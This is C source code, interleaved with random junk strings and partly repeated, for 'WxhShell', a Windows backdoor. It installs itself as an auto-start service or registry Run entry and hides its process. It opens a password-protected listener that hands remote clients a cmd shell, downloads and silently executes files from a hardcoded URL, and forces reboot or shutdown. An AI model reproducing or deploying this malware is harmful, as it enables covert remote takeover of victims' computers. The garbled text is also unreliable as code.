(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N>pTl$\4 2VpKG*!\ if (!NtQueryInformationProcess) return 0; 8jBrD1 olm0O (9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f.yvKi.Cm if(!hProcess) return 0; k^VL{z:EWB ,>
Ya%;h2k if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zR@4Z>6
pc/x&VY% CloseHandle(hProcess); 8dPDs#Zl xG_LEk( zD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Y-{)5/5} if(hProcess==NULL) return 0; $6[%NQp g=#Cc(
q HMODULE hMod; 4{PN9i
E char procName[255]; ()'yY^ unsigned long cbNeeded; .1{:Q1"S NL^;C3u if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kAV4V;ydh ~,^pya CloseHandle(hProcess); #%9t- hwx1 fpo4 if(strstr(procName,"services")) return 1; // 以服务启动 SEKR`2Zz, 2ezk<R5q+ return 0; // 注册表启动 nYsB^Nr6 } /Fr*k5I et`1#_o // 主模块 HNUpgNi int StartWxhshell(LPSTR lpCmdLine) i'cGB5-j { i C)+5L#' SOCKET wsl; "]SA4Ud^ BOOL val=TRUE; dI(1L~ int port=0; 2v$\mL struct sockaddr_in door; C.|.0^5 q1^bH6*fl if(wscfg.ws_autoins) Install(); ,kQCCn] R$Rub/b6 port=atoi(lpCmdLine); :$=]*54`T + *W%4e if(port<=0) port=wscfg.ws_port; MZrLLnl6\ 5)c B\N1u WSADATA data; "F[e~S#V* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uQhI) T^ )\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m$.7) 24 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .DR*MQI9 door.sin_family = AF_INET; <`V_H~Z door.sin_addr.s_addr = inet_addr("127.0.0.1"); ([ jm=[E^ door.sin_port = htons(port); <@S'vcO )H1\4LeP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $RA+StF!] closesocket(wsl); :Z[|B(U return 1; h
wi!C} } Gh5 3Pne ]."t if(listen(wsl,2) == INVALID_SOCKET) { x' v-]C(@ closesocket(wsl); r9Vt}]$a G return 1; g#iRkz%l)& } +Pc2`,pw| Wxhshell(wsl); ,. HS )<B WSACleanup(); |jI|},I HIqe~Vc return 0; j6d{r\!$4 *snY|hF } rDWwu' /EW=OZ/ // 以NT服务方式启动 Wh)>E!~9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A I v { OwN~-).%- DWORD status = 0; P6 7*-Ki DWORD specificError = 0xfffffff; ,7I
"]bOpk T serviceStatus.dwServiceType = SERVICE_WIN32; oe*fgk/o9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >~l^E!<i-u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #[&9~za'"m serviceStatus.dwWin32ExitCode = 0; (kVxa8 0 serviceStatus.dwServiceSpecificExitCode = 0; kr\#CW0? serviceStatus.dwCheckPoint = 0; Bdcs}Ga serviceStatus.dwWaitHint = 0; I{$TMkh[ ctoh&5%!n+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ub{7 Xk
n if (hServiceStatusHandle==0) return; |fB/ hs \ l h?[wc status = GetLastError(); D4T42L if (status!=NO_ERROR) mhMTn*9 { q:1n=iEi serviceStatus.dwCurrentState = SERVICE_STOPPED; pK"iTc#\X serviceStatus.dwCheckPoint = 0; @x^/X8c(p serviceStatus.dwWaitHint = 0; g;7W%v5wqk serviceStatus.dwWin32ExitCode = status; U
UhlKV|5 serviceStatus.dwServiceSpecificExitCode = specificError; D/ tCB-+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&MOus#v return; z.!u<hy( }
98maQQWD Jz]OWb * serviceStatus.dwCurrentState = SERVICE_RUNNING; YIs_.CTi serviceStatus.dwCheckPoint = 0; b
w! serviceStatus.dwWaitHint = 0; J^=Xy(3e if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;v!Ef"E|cV } gDjAnz# OYfRtfE // 处理NT服务事件,比如:启动、停止 w!b;.l VOID WINAPI NTServiceHandler(DWORD fdwControl) u}?|d8$h\ { -nZDFC8y$ switch(fdwControl) (+nnX7V?I { ` Nv1sA#C case SERVICE_CONTROL_STOP: kZ0z]Y serviceStatus.dwWin32ExitCode = 0; Ekn3ODz, serviceStatus.dwCurrentState = SERVICE_STOPPED; ? r}2JHvN serviceStatus.dwCheckPoint = 0; YB_fy8Tfx serviceStatus.dwWaitHint = 0; l15Z8hYhj { 6H!l>@a7v SetServiceStatus(hServiceStatusHandle, &serviceStatus); \D-X
_.v } _=9m[
return; wn.UjxX. case SERVICE_CONTROL_PAUSE: \"X_zM serviceStatus.dwCurrentState = SERVICE_PAUSED; @ %o' break; !Ld[`d.|R! case SERVICE_CONTROL_CONTINUE: `NyO|9/4 serviceStatus.dwCurrentState = SERVICE_RUNNING; HOr Xxxp1^ break; R1Fcd@DWD case SERVICE_CONTROL_INTERROGATE: }((P)\s break; ~"Su2{"8B }; L/)eNZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] I5&'#%2
} bduHYs+rq hb(H-`16 // 标准应用程序主函数 ex.^V sf_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |9[)-C~N7 { 4j(*%da wauM|/KG // 获取操作系统版本 D|2lBU OsIsNt=GetOsVer(); hP_{$c{4:g GetModuleFileName(NULL,ExeFile,MAX_PATH); B}@CtVWFz Lie= DD // 从命令行安装 `,Fc271` if(strpbrk(lpCmdLine,"iI")) Install(); TpYdIt9#> T#KVN{O // 下载执行文件 ~ymSsoD^ if(wscfg.ws_downexe) { J&L#^f*d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 55Xfu/hQ WinExec(wscfg.ws_filenam,SW_HIDE); a_zf*; } 3x=NSe|f L% T%6p_ if(!OsIsNt) { [KMS/'; ] // 如果时win9x,隐藏进程并且设置为注册表启动 `j'gt& HideProc(); bRJ]avR
StartWxhshell(lpCmdLine); ^vZu[m } (hIe!"s* else aN';_tGvK if(StartFromService()) lr[&*v?h // 以服务方式启动 gu1n0N`b StartServiceCtrlDispatcher(DispatchTable); !N/?b^y else 0IQ|`C. // 普通方式启动 ]{AHKyA{: StartWxhshell(lpCmdLine); ~7H?tp.Dw T^g i^{ return 0;
Q)
iN_ | } GXR7Ug}k \,G19o}`Es '<h@h*R -AXMT3p=1 =========================================== ]_hXg*? s5ILl wr F~3 &@TWi 5IP@_GV| {sUc2vR Bm;@}Ly=G " ):V)Hrq?x P9]95.j #include <stdio.h> XeXK~ #include <string.h> !/Wv\qm #include <windows.h> CYNpbv #include <winsock2.h> KA."[dVa #include <winsvc.h> +}C M2>M #include <urlmon.h> G 'CYvV %sS7o3RW\ #pragma comment (lib, "Ws2_32.lib") V6b) #pragma comment (lib, "urlmon.lib") Yt;@@xe& mZ.E;X& ,* #define MAX_USER 100 // 最大客户端连接数 t`0(5v #define BUF_SOCK 200 // sock buffer ^ |>)H #define KEY_BUFF 255 // 输入 buffer wtQ (R4 R[2h!.O8 #define REBOOT 0 // 重启 `4"&_ltD #define SHUTDOWN 1 // 关机 d-"[-+)- u
&{|f #define DEF_PORT 5000 // 监听端口 Rp.FG :LB< z#M #define REG_LEN 16 // 注册表键长度 @_?8I_\: #define SVC_LEN 80 // NT服务名长度 cKAZWON8;v j*jq2u // 从dll定义API #~ [mn_C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <PQ[N[SU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \JGRd8S[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p+R8Mo;I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <$`udP@ pl.=u0 * // wxhshell配置信息 @3>nVa struct WSCFG { !7anJl int ws_port; // 监听端口 MM Nz2DEy[ char ws_passstr[REG_LEN]; // 口令 D"n
3If% int ws_autoins; // 安装标记, 1=yes 0=no dUpOg{I.x char ws_regname[REG_LEN]; // 注册表键名 B'D4]EB char ws_svcname[REG_LEN]; // 服务名 \8SHX char ws_svcdisp[SVC_LEN]; // 服务显示名 WR>2t&;E char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,DbT4Ul c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vt
U int ws_downexe; // 下载执行标记, 1=yes 0=no 'p(I!]"uo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I\ y>I?X char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #|{^k u umc\x"i% }; !& xc.39 E%>){Y) // default Wxhshell configuration !_[^%7"S1 struct WSCFG wscfg={DEF_PORT, J""N:X!1 "xuhuanlingzhe", ctL,Mqr\Z 1, ;AgXl%Q "Wxhshell", \J^|H@;(@ "Wxhshell",
QX393v! "WxhShell Service", E- rXYNfy "Wrsky Windows CmdShell Service", (`Q_^Bfyl "Please Input Your Password: ", `!g
XA.9Uv 1, zgHF-KEV "http://www.wrsky.com/wxhshell.exe", <S
M%M? "Wxhshell.exe" N
@sVA%L. }; -%)8= ?28aEX_w // 消息定义模块 }g[(h=Qi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'D;'Pr] char *msg_ws_prompt="\n\r? for help\n\r#>"; dKTUW<C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GGchNt char *msg_ws_ext="\n\rExit."; as| MB
( char *msg_ws_end="\n\rQuit."; eEkbD"Q char *msg_ws_boot="\n\rReboot..."; iG;GAw|E char *msg_ws_poff="\n\rShutdown..."; o*WI*Fb' char *msg_ws_down="\n\rSave to "; Qws#v}xF jP|(y]! char *msg_ws_err="\n\rErr!"; \muC_9ke char *msg_ws_ok="\n\rOK!"; )|@UY(VZ^ nxh9'"th char ExeFile[MAX_PATH]; ur2`.dY>3" int nUser = 0; !ZlNPPrq} HANDLE handles[MAX_USER]; &za~=+ int OsIsNt; ssC5YtF7X 1(z+*`"WB& SERVICE_STATUS serviceStatus; ocT.2/~d SERVICE_STATUS_HANDLE hServiceStatusHandle; l~Sn`%PgA (eAh8^) // 函数声明 UZ+FV;< int Install(void); Bx32pY int Uninstall(void); a<K@rgQ int DownloadFile(char *sURL, SOCKET wsh); f<0nj? int Boot(int flag); ~8G<Nw4*\ void HideProc(void); L3-tD67oa int GetOsVer(void); o$DJL11E int Wxhshell(SOCKET wsl); oLp:Z= void TalkWithClient(void *cs); _*Z2</5 int CmdShell(SOCKET sock); u)fmXoQ int StartFromService(void); !]k $a int StartWxhshell(LPSTR lpCmdLine); 3 _tO Kr]`.@/.S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0BTLIV$d; VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5:H9B *xOrt)D= // 数据结构和表定义 GlVD!0 SERVICE_TABLE_ENTRY DispatchTable[] = T9+ ?A
l { +}@HtjM {wscfg.ws_svcname, NTServiceMain}, VJeN
m3WNb {NULL, NULL} cHMS[.=; }; Y+tXWN"8 Y@Kp'+t(! // 自我安装 m,U`hPJ int Install(void) @"#W\m8 { *tda_B
2 char svExeFile[MAX_PATH]; }]H_|V*f HKEY key; uFT&r| strcpy(svExeFile,ExeFile); \i=,[8t[r }GCt)i_ // 如果是win9x系统,修改注册表设为自启动 Oj*3'?<7= if(!OsIsNt) { &` u<KKF6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ToN$x^M
w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dZ7+Iw;m RegCloseKey(key); pU*dE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,]'?Gd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WoiK _Ud RegCloseKey(key); y3K9rf return 0; MD,}-m } )[>b7K$f } 8]N+V: } B{SzC=4f} else { G8lR_gD"! ~Cj55S+ // 如果是NT以上系统,安装为系统服务 ?*z#G'3z1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :sBg+MS if (schSCManager!=0) g(Jzu' { v 6?{g SC_HANDLE schService = CreateService !z;a>[T' ( sgo({zA`i schSCManager, 'Z+~G wscfg.ws_svcname, 1TKOvy_ wscfg.ws_svcdisp, +QIM~tt) SERVICE_ALL_ACCESS, MX?K3=j @> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "}]1OL S V SERVICE_AUTO_START, pCNihZ~ SERVICE_ERROR_NORMAL, M ,8r{[2 svExeFile, D!~-53f@ NULL, x(z[S$6Y\ NULL, ~3.1.
'A NULL, I#kK! m1Q NULL, *Ri?mEv
hF NULL .foM>UOY ); '@ M if (schService!=0) >yn%.Uoh@ { qDO4&NO CloseServiceHandle(schService); elZ?>5P$} CloseServiceHandle(schSCManager); RV|: mI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tH<v1LEZN strcat(svExeFile,wscfg.ws_svcname); 0sRby! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \c+)Y}:D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IBWUeB:b RegCloseKey(key); "2X=i`rTi return 0; m u(HNj } %lchz/ } a4X J0Tm CloseServiceHandle(schSCManager); <w}k9(Ds } sD.bBz } I -i)D })Rmu."\ return 1; Roy0?6O } ?MuM _6 vfJ}t#%UH // 自我卸载 pFGK-J int Uninstall(void) k'wF+> { LQ?J
r>4 HKEY key; 3KfZI&g -,et. * if(!OsIsNt) { (j+C&*u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7ju7QyR RegDeleteValue(key,wscfg.ws_regname); Gu<3*@Ng RegCloseKey(key); 0b=OK0n!% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Qe:d_ RegDeleteValue(key,wscfg.ws_regname); >/EmC3?b! RegCloseKey(key); _h7+.U= return 0; dZRz'd } f
5_n2 } L._I"g5 H9 } Nm#VA.~ else { $g
_h9L AL}c-#GG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xd66"k\b+ if (schSCManager!=0) e%j+,)Ry { :KZI+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7CABM if (schService!=0) )__vPPko i { F$ x@] if(DeleteService(schService)!=0) { &Hc8u,| CloseServiceHandle(schService); GdR>S(' CloseServiceHandle(schSCManager); 9'Y~! vY return 0; FqQm*k_ } SZ~Ti|^ CloseServiceHandle(schService); LDW":k| } A7
.[OC CloseServiceHandle(schSCManager); t
qbS!r } 1#Dpj.cO# } _$0<]O$ jwTb09 return 1; D*`|MzlQ } ;or(:Yoc- `Ten2(D // 从指定url下载文件 Wk'KN o int DownloadFile(char *sURL, SOCKET wsh) k _hiGg { 18Pc4~>0 HRESULT hr; =XJ
SE+ 7 char seps[]= "/"; Q0!gTV char *token; J:'cj5@ char *file; WO)rJr!C char myURL[MAX_PATH]; 6t
TLyI$+ char myFILE[MAX_PATH]; r`i<XGPJ% -Duy:C6W strcpy(myURL,sURL); +%6{>C+bZo token=strtok(myURL,seps); S3:Pjz}t while(token!=NULL) 0(ZER sP { <m`HK.|~ file=token; I_'S|L token=strtok(NULL,seps); }-)2CEj3L% } [U]*OQH`e uezqC=v$h GetCurrentDirectory(MAX_PATH,myFILE); mmAikT#k strcat(myFILE, "\\"); j.sxyW?3 strcat(myFILE, file); $/5Jc[Ow send(wsh,myFILE,strlen(myFILE),0); yVUA7IY send(wsh,"...",3,0); `z-4OJ8~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]/HSlT= if(hr==S_OK) g[44YrRD return 0; kG
&.| else kW4/0PD return 1; X(?.*m@+TB d[w 'j/{ } B1JdkL 3h 0lF[N.!\9 // 系统电源模块 5 r"`c int Boot(int flag) 0MF[e3)a { .Hl]xI$;+ HANDLE hToken; -B9C2 TOKEN_PRIVILEGES tkp; mgL~ $ R?(0:f if(OsIsNt) { (i1FMd}G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1@P/h#_Vr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k)b}"' I tkp.PrivilegeCount = 1; *&+e2itmp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W @`Nn*S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |zKe*H/ if(flag==REBOOT) { 4Ucg<Z&% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g6IG>) return 0; '49&qO5B } =2\k
Jv3 else { nY'0*:'u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1<fS&)^W return 0; rC14X} X6 } \$/)o1SG } x:88E78 else { yN5g]U.Q if(flag==REBOOT) { 4cRF3$amd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $}jp=?,t return 0; 'LpJ:Th } tlV> else { Q'~kWmLf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ha1E /b]K
return 0; 84DneSpHsp } VtUe$ft } Y
_m4:9p ,u#uk7V return 1; =GL}\I } cZk?o xKWqDt // win9x进程隐藏模块 2xhwi.u void HideProc(void) Sf
B+;i'D { \-0@9E<D `L`qR,R HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ah;2\0|t if ( hKernel != NULL ) ;3U-ghj { & 1p\.Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UZi^ & ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gYA|JFi FreeLibrary(hKernel); zIi|z}WJ } TUIj-HSe bTHKMaGWC return; wOOBW0tj } dQYb)4ir V8ZE(0&II} // 获取操作系统版本 wdS^`nz| int GetOsVer(void) );_g2=:# { {(w/_C9 OSVERSIONINFO winfo; =${]j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h$)(-_c3 GetVersionEx(&winfo); !jN}n)FSq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <|cnQj* return 1; mM!'~{r[- else x9Fga _ return 0; g34<0%6jd } K]Q#B|_T PEac0rSW // 客户端句柄模块 4*}[h9J}\ int Wxhshell(SOCKET wsl) l
Q]&:%^\ { rmu5K$pl SOCKET wsh; I@+h|
n struct sockaddr_in client; j2c -01} DWORD myID; S_/9eI~X XAW$"^p while(nUser<MAX_USER) >G$8\&]j { Bw;sg; int nSize=sizeof(client); vH%AXzIA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K#rfQ0QK/! if(wsh==INVALID_SOCKET) return 1; OSQZ5:g| S<rdPS*P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); au@ LQxKQ if(handles[nUser]==0) Ehi)n)HhG" closesocket(wsh); k{;"Aj:iL else &PVos|G nUser++; 7yD=~l\Bbs } /x,gdZPX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N+ZDQa[ )uC],CbW{ return 0; #qrZ(,I@n } ."&,_F id<i|
// 关闭 socket SNV~;@(h void CloseIt(SOCKET wsh) )Fx"S.Ok { 11[[H kX@ closesocket(wsh); reR ><p nUser--; C,~wmS )@ ExitThread(0); 1j0OV9 -| } {STOWuY h[#Lg3 // 客户端请求句柄 i]J*lM7' void TalkWithClient(void *cs) R*a5bKr { d9>*a$x;/ k"D6Vyy` SOCKET wsh=(SOCKET)cs; 5Ds/^fA char pwd[SVC_LEN]; 0D/u`- char cmd[KEY_BUFF]; B4 yU}v char chr[1]; *GleeJWz int i,j; 7 4Xk^8 wI><kdz while (nUser < MAX_USER) {
UhN16|x G6(kwv4 if(wscfg.ws_passstr) { Rt:k4Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yv k
Qh{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d~F`q7F'?] //ZeroMemory(pwd,KEY_BUFF); !l|vO( i=0; 2_ M+akqy^ while(i<SVC_LEN) { rqW[B/a{ TP o%zZo // 设置超时 z%$ E6Im fd_set FdRead; oFM\L^Y?$$ struct timeval TimeOut; oNQ;9&Z,^2 FD_ZERO(&FdRead); wgfA\7Z FD_SET(wsh,&FdRead); .] mYpz TimeOut.tv_sec=8; 9qN4f8R TimeOut.tv_usec=0; oJa6)+b(3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YL-/z4g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z?X0:WK _OV\W'RrA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w}No ^.I*4 pwd=chr[0]; ?T=]?[ if(chr[0]==0xd || chr[0]==0xa) { !+T\}1f7d pwd=0; OLh`R]Sd break; |$"2R3 } !$Aijd s5 i++; ]T|9>o! } Xou1X$$z [p[nK=&r // 如果是非法用户,关闭 socket j(^ot001%v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); maAZI-H{ } {6{y"8 &7Frg`B&: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AzAD76iNv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jy@vz,/:%5 D`p&`]k3v while(1) { ?~~sOf AP !<r+h,C ZeroMemory(cmd,KEY_BUFF); x{4Rm,Dxn GslUN% UJr // 自动支持客户端 telnet标准 HDQhXw!!hc j=0; j1_ E^ while(j<KEY_BUFF) { j,%@%upM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h/~:}Bof cmd[j]=chr[0]; ?xEQ'(UBQ if(chr[0]==0xa || chr[0]==0xd) { /~3~Xc~=p cmd[j]=0; !Ic;;< break; 4;"^1 $ } r_C|gfIP j++; 0\v98g<[+ } J-*&& W}m-5L // 下载文件 ! |SPOk if(strstr(cmd,"http://")) { 3jF#f'* send(wsh,msg_ws_down,strlen(msg_ws_down),0); q-s! hiK if(DownloadFile(cmd,wsh)) Ci%u =%( send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?nlnoe else M|!^ #!a( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L9tjHC] } n\d`Fk else { +|}R^x`z GMmz`O
XN switch(cmd[0]) { g8^\| W>C!V // 帮助 v*Tliw`-U case '?': { dWHl<BUm send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v|5:;,I break; is=sV:j: } +mRFHZG // 安装 /H#- \r&r case 'i': { ?^Sk17G if(Install()) WrK!]17or send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZRcy9$y> else TymE(,1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !0ly1T 9 break; Y.I-hl1<r } zJ{?'kp // 卸载 6o@}k9AN case 'r': { 89@\AjI if(Uninstall()) !NWz send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;9"=0 else H /Idc,* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IV{,'+hT break; JFaxxW } [NcS[*qp // 显示 wxhshell 所在路径 |1^>n,C case 'p': { ""Ul6hRgv char svExeFile[MAX_PATH]; n^|;J*rD strcpy(svExeFile,"\n\r"); lB!`,>"c strcat(svExeFile,ExeFile); vW4~\] send(wsh,svExeFile,strlen(svExeFile),0); -r/G)Rs break; <>aBmJs4 } 5 e:Urv77 // 重启 )6|7L)Dk case 'b': { B{|g+c% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /CpUq;^ if(Boot(REBOOT)) 3/IQ]8g" send(wsh,msg_ws_err,strlen(msg_ws_err),0); gLv|Hu7 else { `abQlBb* closesocket(wsh); j]7|5mC78 ExitThread(0); [vki^M5i|Z } c>fLSf break; F-}-/N]o
q } :LRR\v0HM // 关机 /UeLf$%ZW case 'd': { `x:znp} ' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Oq"(oNG@ if(Boot(SHUTDOWN)) A^7!:^%K send(wsh,msg_ws_err,strlen(msg_ws_err),0); VlKy6PSIg else { ||v=in closesocket(wsh); 2mL1BG=Yk ExitThread(0); }qfr&Ffh@ } 8Ml&lfn_8 break; 'Z2:u!E } Dd|}LV // 获取shell g-'y_'%0G case 's': { zb9^ii$g CmdShell(wsh); jB }O6u[% closesocket(wsh); &d`T~fl| ExitThread(0); )/k0*:OMyO break; 0z?b5D; } ^}; 4r // 退出 n<MMO=+bg case 'x': { XfA3Ez,} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zM6yUEg CloseIt(wsh); 3_=~7B)
8 break; CCKg,v } WtI1h `Fo // 离开 H3{x;{.b case 'q': { xO'I*) send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~45u
a closesocket(wsh); GZT}aMMSJ WSACleanup(); }C>Q exit(1); 1"46OCu{ break; dJ\6m!Mp } A9PXu\%y } q0WW^jwQ } )gdv! =/=x"q+X // 提示信息 Ab7hW(/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J<DV7zV } b~06-dk1 } ulFU(%& iHjo3_g)n return; eux_tyC } 7=XQgbY/ l|`FW // shell模块句柄 }yqRz6=YB int CmdShell(SOCKET sock) J#*Uf>5NY { lEi,duS) STARTUPINFO si; Fk D ZeroMemory(&si,sizeof(si)); mOwgk7s[J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :NU-C!eT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s#w+^Mw$ PROCESS_INFORMATION ProcessInfo; Qo char cmdline[]="cmd"; "M6a_rZ2W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FW7+!A&F return 0; EZ #UdK_ } Y0BvN`E hM
E|=\
// 自身启动模式 O;[PEV~ int StartFromService(void) K-wjQ|*1 { )ufHk typedef struct ~C5iyXR { $gDp-7 DWORD ExitStatus; n ! qm DWORD PebBaseAddress; $N;!. 5lX3 DWORD AffinityMask; &n<jpMB DWORD BasePriority; |Ix6D ULONG UniqueProcessId; x$CpUy{6 ULONG InheritedFromUniqueProcessId; oT
8
} PROCESS_BASIC_INFORMATION; :{4G=UbAI 6bnAVTL5 PROCNTQSIP NtQueryInformationProcess; vVyO}Q` yWIieztp static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GG"0n{>0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L:YsAv 1hZM)) HANDLE hProcess; y:4Sw#M%( PROCESS_BASIC_INFORMATION pbi; ;0E"4(S.q1 fLI@;*hL0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;KQ'/nII if(NULL == hInst ) return 0; 2BH>TmS VR?7{3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <6<uO\B\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w:FH2* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &_4A6 UTA0B&aB if (!NtQueryInformationProcess) return 0; wdBytH6r. ?3SlvKI}H` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ajw]2kx if(!hProcess) return 0; B0p>' O2 y NV$IN% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Z4&j'z< };9dd3X CloseHandle(hProcess); >&^w\"' :Tuy]]k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (/YC\x? if(hProcess==NULL) return 0; b("CvD8 };o R x) HMODULE hMod; *(?YgV char procName[255]; ]kb%l"& unsigned long cbNeeded; vzi=[A b]RCe^E1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 344,mnAd h83ho CloseHandle(hProcess); D\({]oj] 1+eC'&@Xjt if(strstr(procName,"services")) return 